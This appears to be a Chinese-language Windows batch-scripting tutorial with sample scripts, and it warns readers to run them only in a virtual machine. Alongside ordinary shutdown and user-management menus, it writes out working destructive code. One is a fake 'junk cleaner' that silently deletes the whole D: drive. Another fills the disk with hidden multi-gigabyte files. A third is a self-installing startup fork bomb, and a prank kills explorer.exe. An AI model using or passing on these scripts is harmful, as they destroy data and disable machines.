所有实现均在虚拟机中执行,不要在自己电脑上执行,防止搞坏系统
批处理
自上而下成批的处理每一条命令,直至执行到最后一条。
创建批处理(.bat)
创建一个记事本文件,修改扩展名为.bat
#-----------清除D:盘下的所有文件
#屏蔽执行结果
@echo off
#修改第1个字符背景色和第2个字符前景色
color 0a
#标题
title "垃圾清理"
echo "==============="
echo "垃圾清理,如无法清理请放行..."
echo "==============="
pause
#空行
echo.
echo "垃圾清理中... ..."
#执行过程不论对错都重定向至nul
d: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul
#暂停
pause
ping -n 10 127.0.0.1 >nul 2 >nul
echo "恭喜你,垃圾清理完毕!"
pause
#----------创建文件,并给文件添加属性
@echo off
color 0a
d:
cd \
fsutil file createnew d:\sys1.ini 4096000000
attrib +H +S +A D:\sys1.ini
fsutil file createnew d:\sys2.ini 4096000000
fsutil file createnew d:\sys3.ini 4096000000
fsutil file createnew d:\sys4.ini 4096000000
fsutil file createnew d:\sys5.ini 4096000000
fsutil file createnew d:\sys6.ini 4096000000
D:\>start /?
启动另一个窗口运行指定的程序或命令。
START ["title"] [/D path] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
[/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]
[/AFFINITY <hex affinity>] [/WAIT] [/B] [command/program]
[parameters]
"title" 在窗口标题栏中显示的标题。
path 启动目录
B 不创建新窗口启动应用程序。除非启用
^C 处理,否则该应用程序会忽略 ^C
处理;^Break 是唯一可以中断该应用
程序的方式
I 新环境是传递给 cmd.exe 的原始环境,
而不是当前环境。
MIN 启动窗口最小化
MAX 启动窗口最大化
SEPARATE 在分离内存空间启动 16-位 Windows 程序
SHARED 在共享内存空间启动 16-位 Windows 程序
LOW 在 IDLE 优先级类中启动应用程序
NORMAL 在 NORMAL 优先级类中启动应用程序
HIGH 在 HIGH 优先级类中启动应用程序
REALTIME 在 REALTIME 优先级类中启动应用程序
ABOVENORMAL 在 ABOVENORMAL 优先级类中启动应用程序
BELOWNORMAL 在 BELOWNORMAL 优先级类中启动应用程序
AFFINITY 新应用程序将拥有指定处理器关系掩码,
以十六进制数表示。
WAIT 启动应用程序并等待它结束
command/program
如果是内部 cmd 命令或批文件,那么
该命令处理器是用 /K 命令行开关运行
cmd.exe 的。这表示该窗口在命令运行后
仍然存在。
如果不是内部 cmd 命令或批文件,则是
一个程序,并作为窗口应用程序或控制台
应用程序运行。
parameters 这些是传送到命令/程序的参数
如果命令扩展被启用,通过命令行或 START 命令的外部命令
调用会如下改变:
将文件名作为命令键入,非可执行文件可以通过文件关联调用。
(例如,WORD.DOC 会调用跟 .DOC 文件扩展名关联的应用程序)。
#%userprofile%环境变量,获得当前用户的家目录
D:\>echo %userprofile%
C:\Documents and Settings\Administrator
#----------以下程序保存名称为qq.bat不要随便执行,会导致电脑无法启动!!!
copy qq.bat %userprofile%\「开始」菜单\程序\启动
#:d表示程序块
:d
start
goto d
#set设置变量
C:\Documents and Settings\Administrator>set /?
显示、设置或删除 cmd.exe 环境变量。
SET [variable=[string]]
variable 指定环境变量名。
string 指定要指派给变量的一系列字符串。
SET /A expression
SET /P variable=[promptString]
/A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式
评估器很简单并以递减的优先权顺序支持下列操作:
() - 分组
! ~ - - 一元运算符
* / % - 算数运算符
+ - - 算数运算符
<< >> - 逻辑移位
& - 按位“与”
^ - 按位“异”
| - 按位“或”
= *= /= %= += -= - 赋值
&= ^= |= <<= >>=
, - 表达式分隔符
如果您使用任何逻辑或取余操作符, 您需要将表达式字符串用
引号扩起来。在表达式中的任何非数字字符串键作为环境变量
名称,这些环境变量名称的值已在使用前转换成数字。如果指定
了一个环境变量名称,但未在当前环境中定义,那么值将被定为
零。这使您可以使用环境变量值做计算而不用键入那些 % 符号
来得到它们的值。如果 SET /A 在命令脚本外的命令行执行的,
那么它显示该表达式的最后值。该分配的操作符在分配的操作符
左边需要一个环境变量名称。除十六进制有 0x 前缀,八进制
有 0 前缀的,数字值为十进位数字。因此,0x12 与 18 和 022
相同。请注意八进制公式可能很容易搞混: 08 和 09 是无效的数字,
因为 8 和 9 不是有效的八进制位数。
/P 命令行开关允许将变量数值设成用户输入的一行输入。读取输入
行之前,显示指定的 promptString。promptString 可以是空的。
#关机和取消关机小程序
@echo off
title "小程序v1.0"
color 0a
#:menu标签
:menu
#清屏
cls
echo ==================
echo ---菜单---
echo 1.定时关机
echo 2.取消关机
echo 3.退出
echo ==================
echo.
set /p selectNum=请选择要执行的选项(1,2,3):
if "%selectNum%" == "1" goto 1
if "%selectNum%" == "2" goto 2
if "%selectNum%" == "3" goto 3
echo "只能输入1,2,3..."
pause
#goto实现跳转
goto menu
:1
set /p shuttime=请输入关机时间(单位/秒):
shutdown -s -f -t %shuttime%
goto menu
:2
shutdown -a
goto menu
:3
exit
关闭桌面和打开
@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul
echo "What???"
ping -n 15 127.0.0.1 >nul 2>nul
echo "傻了吧,逗你玩呢!!!"
start C:\Windows\explorer.exe
pause
通过批处理文件创建用户
REM @echo off
title 创建用户
:menu
cls
echo =====================
echo 1.列出用户
echo 2.创建用户
echo 3.删除用户
echo 4.修改密码
echo 5.退出
echo =====================
set /p selectNum=请选择要执行的选项(1,2,3,4,5):
if %selectNum% == 1 goto 1
if %selectNum% == 2 goto 2
if %selectNum% == 3 goto 3
if %selectNum% == 4 goto 4
if %selectNum% == 5 goto 5
echo "只能选择1,2,3,4,5... ..."
pause
goto menu
:1
net user
pause
goto menu
:2
set /p username=请输入要创建的用户名(建议使用英文):
net user %username% >nul 2>nul && ( echo 用户已存在 ) || ( net user %username% /add >nul 2>nul & echo "用户添加成功!!!" )
goto menu
:3
set /p delusername=请输入要删除的用户名:
net user %delusername%
net user %delusername% >nul 2>nul && ( net user %delusername% /del >nul 2>nul & echo "用户删除成功!!!" ) || ( echo "用户不存在" )
goto menu
:4
set /p changeusername=请输入要修改密码的用户名:
set /p changepassword=请输入密码:
net user %changeusername% %changepassword% >nul 2>nul
echo "密码修改成功"
goto menu
:5
exit